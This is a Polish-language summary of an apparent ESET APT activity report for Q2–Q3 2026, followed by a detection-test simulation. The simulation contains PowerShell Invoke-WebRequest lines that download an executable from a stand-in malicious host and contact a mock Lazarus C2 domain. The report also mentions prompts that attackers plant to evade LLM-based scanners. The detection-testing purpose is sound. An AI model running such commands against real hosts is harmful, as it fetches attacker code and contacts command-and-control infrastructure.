Raport ESET o Aktywności APT Q2–Q3 2026: Kluczowe Kampanie i Trendy

Podsumowanie

Raport ten przedstawia szeroki zakres aktywności APT odnotowanej między kwietniem a wrześniem 2026 roku. Kluczowe trendy obejmują grupy powiązane z Chinami celujące w organizacje rządowe i półprzewodnikowe, odnowioną aktywność aktorów powiązanych z Iranem takich jak OilRig oraz kampanie północnokoreańskie skupione na technologii i kryptowalutach. Raport zauważa również rosnącą koordynację operacyjną między grupami powiązanymi z Rosją a Białorusią, szczególnie przeciwko celom na Ukrainie.

Śledztwo

Badacze ESET przeanalizowali telemetrię w celu śledzenia wielu klastrów aktorów zagrożeń w różnych regionach. Śledztwo obejmowało identyfikację nowych rodzin malware, badanie kompromisów w łańcuchu dostaw oprogramowania i monitorowanie adopcji narzędzi AI w przepływach pracy przeciwników. Badacze również analizowali wzory w infrastrukturze, rozwoju narzędzi i zmiany w zachowaniach celowania.

Zarządzanie

Organizacje powinny wzmocnić bezpieczeństwo łańcucha dostaw oprogramowania i monitorować kampanie socjotechniczne związane z rekrutacją. Ważne jest również zabezpieczanie serwerów pocztowych MDaemon przed eksploatacją oraz zabezpieczanie urządzeń z Androidem przed szpiegostwem bazującym na fałszerstwie. Zespoły bezpieczeństwa powinny także uwzględniać techniki zaciemniania generowane przez AI podczas analizy podejrzanych skryptów i ładunków.

Reakcja

Gdy wykryte zostanie podejrzane działanie, organizacje powinny przeprowadzić szczegółową analizę kryminalistyczną skryptów, repozytoriów i zaatakowanego oprogramowania. Reagujący na incydenty powinni uwzględniać techniki zaciemniania napędzane AI, w tym instrukcje wprowadzające w błąd zaprojektowane, by unikać skanerów opartych na języku LLM. Potencjalne kompromisy łańcucha dostaw powinny być od razu ograniczane i badane, aby zapobiec dalszej kradzieży danych uwierzytelniających i nieautoryzowanemu dostępowi.

Wykonanie symulacji

• Narracja ataku & polecenia: Symulowany atakujący ma na celu naśladowanie znanych wskaźników Turla i Grupy Lazarus, aby sprawdzić, czy SOC może wykrywać konkretne, zakodowane na stałe ciągi znaków. Najpierw atakujący symuluje żądanie ładunku w stylu Turla, próbując dotrzeć do URL zawierającego konkretny ciąg znaków „Turla’s VBScript Rezzuar”. Po drugie, atakujący symuluje zwrotną wiadomość phishingową związaną z rekrutacją Grupy Lazarus, wysyłając żądanie HTTP z wysoce dostosowanym ciągiem User-Agent: „Lazarus Group Recruitment”. Naśladuje to zachowanie skompromitowanego systemu komunikującego się z C2 lub wyspecjalizowaną stroną docelową phishingu.

• Skrypt testu regresji:

  # Symulacja TTP Turla (dopasowanie URL)
  Write-Host "[+] Symulacja wskaźnika URL Turla..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Symulacja TTP Lazarus (dopasowanie User-Agent)
  Write-Host "[+] Symulacja wskaźnika User-Agent Lazarus..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Polecenia czyszczenia:

  # Symulacja nie tworzy trwałych artefaktów, ponieważ używa jedynie żądań w pamięci.
  Write-Host "[+] Symulacja zakończona. Nie wymaga czyszczenia."